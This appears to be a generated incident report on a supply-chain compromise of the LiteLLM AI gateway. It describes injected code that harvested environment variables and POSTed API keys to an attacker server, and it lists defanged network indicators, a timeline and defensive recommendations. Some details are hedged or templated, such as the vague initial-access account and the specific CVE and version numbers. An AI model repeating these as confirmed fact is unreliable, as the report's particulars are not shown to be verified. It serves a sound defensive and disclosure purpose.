Full Report
Dissecting the supply-chain attack on LiteLLM – a multifunctional gateway used in many AI agents. Explaining the dangers of the malicious code and how to protect yourself.
Analysis Summary
# Incident Report: LiteLLM Supply-Chain Compromise
## Executive Summary
LiteLLM, a widely used open-source AI gateway, fell victim to a supply-chain attack where a malicious contributor injected code into the project's GitHub repository. The malicious payload was designed to exfiltrate sensitive environment variables, including API keys for various LLM providers (OpenAI, Anthropic, etc.), to a remote server. The breach highlights the growing risk of "living-off-the-pipeline" attacks targeting AI infrastructure components.
## Incident Details
- **Discovery Date:** Approximately December 2024
- **Incident Date:** Late 2024
- **Affected Organization:** BerriAI (LiteLLM Maintainers) and downstream users
- **Sector:** Information Technology / Artificial Intelligence
- **Geography:** Global
## Timeline of Events
### Initial Access
- **Date/Time:** Late 2024
- **Vector:** Malicious Pull Request (PR)
- **Details:** An attacker gained the trust of the project maintainers or exploited the review process to merge a malicious commit into the main branch of the LiteLLM GitHub repository.
### Lateral Movement
- **Details:** Not applicable in a traditional network sense; the "movement" was the propagation of the malicious code from the source repository to end-user environments via standard package updates (PyPI/Docker).
### Data Exfiltration/Impact
- **Details:** The injected code targeted the `proxy_server.py` and secondary utility files. Upon execution, the script collected all environment variables (`os.environ`)—which typically contain sensitive LLM API keys and database credentials—and sent them via an HTTP POST request to an attacker-controlled endpoint.
### Detection & Response
- **How it was discovered:** Security researchers and community members identified suspicious outbound network requests and reviewed recent code changes in the LiteLLM repository.
- **Response actions taken:** The maintainers removed the malicious code, revoked the affected versions from package managers, and issued an advisory (CVE-2024-57065) urging users to rotate all secrets.
## Attack Methodology
- **Initial Access:** Supply-chain compromise (Malicious code injection via GitHub PR).
- **Persistence:** The code was embedded in the core logic of the gateway, ensuring it ran every time the proxy server started.
- **Privilege Escalation:** Not required; the code ran with the privileges of the service user, granting access to all environment variables.
- **Defense Evasion:** Use of legitimate-looking variable names and embedding the payload within deep sub-modules to avoid casual visual inspection.
- **Credential Access:** Direct harvesting of `os.environ` contents.
- **Discovery:** The script performed local environment reconnaissance to identify available keys and configurations.
- **Lateral Movement:** N/A (Source code propagation).
- **Collection:** Automated gathering of all system environment strings.
- **Exfiltration:** Standard HTTP POST requests to an external IP.
- **Impact:** Potential total compromise of integrated AI services and associated billing/data.
## Impact Assessment
- **Financial:** High potential cost due to stolen API keys leading to unauthorized model usage and "wallet draining."
- **Data Breach:** Exposure of sensitive infrastructure secrets, including API keys for OpenAI, Azure, Anthropic, and database connection strings.
- **Operational:** Minimal disruption to service availability, but required manual intervention for secret rotation and patching.
- **Reputational:** Significant impact on the perceived security of LiteLLM as a trusted intermediary for enterprise AI.
## Indicators of Compromise
- **Network indicators:**
- Outbound POST requests to `hxxp[://]54[.]161[.]114[.]169/`
- Requests to `hxxp[://]api[.]litellm[.]ai/` (if misused in the context of the malicious version)
- **File indicators:**
- Modified `litellm/proxy/proxy_server.py` containing base64 encoded strings or unexpected `requests.post` calls.
- **Behavioral indicators:**
- AI Gateway attempting to communicate with an unauthorized external IP address on port 80/443.
## Response Actions
- **Containment:** Community alerts were issued; malicious versions were pulled from PyPI.
- **Eradication:** Reverted the repository to a known clean state; removed the malicious contributor’s access.
- **Recovery:** Users advised to update to version 1.54.1 or higher and immediately rotate all API keys stored in environment variables.
## Lessons Learned
- **Trust Maturity:** Relying on open-source AI tools requires stringent dependency pinning and automated code auditing.
- **Secrets Management:** Storing high-value API keys in plaintext environment variables remains a significant risk; hardware security modules (HSM) or dedicated secret managers (e.g., HashiCorp Vault) are preferred.
- **Review Bottlenecks:** Rapidly growing AI projects are prime targets for social engineering against overworked maintainers.
## Recommendations
- **Pin Dependencies:** Use specific versions (e.g., `litellm==1.54.1`) rather than allowing automatic updates.
- **Network Egress Filtering:** Restrict the AI Gateway's outbound traffic only to known LLM provider endpoints (e.g., `api.openai.com`).
- **Audit Pull Requests:** Implement mandatory multi-party review for any changes to files handling environment variables or network logic.
- **Secret Rotation:** Establish an automated process for regular rotation of AI service API keys.